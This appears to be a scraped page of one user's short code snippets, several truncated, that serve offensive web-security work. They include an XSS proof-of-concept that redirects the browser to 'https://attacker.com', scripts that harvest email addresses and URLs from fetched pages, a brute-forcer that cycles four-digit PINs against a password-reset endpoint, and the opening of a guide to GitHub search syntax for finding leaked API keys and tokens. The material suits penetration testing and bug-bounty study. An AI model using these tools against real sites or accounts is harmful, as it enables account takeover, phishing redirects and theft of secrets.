betillogalvanfbc

console.log('XSS Poc!');setTimeout(() => window.location.href = 'https://attacker.com', 5000);

betillogalvanfbc

(function() {
  const regex = /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g;
  const results = new Set();

  async function fetchAndExtractEmails(url) {
    try {
      const response = await fetch(url);
      const text = await response.text();
      const matches = text.matchAll(regex);
      for (const match of matches) {

betillogalvanfbc

(function() {
  const regexURL = /(https?:\/\/[^\s]+)/g; // Expresión regular para extraer URLs
  const regexDomain = /https?:\/\/([^\s/]+)/; // Expresión regular para extraer dominios
  const results = new Set();

  async function fetchAndExtractUrls(url) {
    try {
      const response = await fetch(url);
      const text = await response.text();
      const matches = text.matchAll(regexURL);

betillogalvanfbc

0
00
01
02
03
1
1.0
10
100
1000

betillogalvanfbc

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

betillogalvanfbc

for ( e in frames){
console.log(e)
}

betillogalvanfbc

for ( e in window){
    try {
        if (window[e].hasOwnProperty('top') && window[e]['top'] === window){
            console.log(e)
        }
    }catch (err){}
}

betillogalvanfbc

console.log('error');

betillogalvanfbc

import asyncio
import aiohttp

async def crack_pin(prefix, session):
    for i in range(10000):
        pin = prefix + str(i).zfill(4)
        async with session.post("http://localhost/resetpassword", data={"pin": pin}) as resp:
            if resp.status == 200:
                return pin
        await asyncio.sleep(0.01)

betillogalvanfbc

const linkPreviewGenerator = require("link-preview-generator");

async function run() {
  const previewData = await linkPreviewGenerator("url");
  console.log(previewData);
}


run();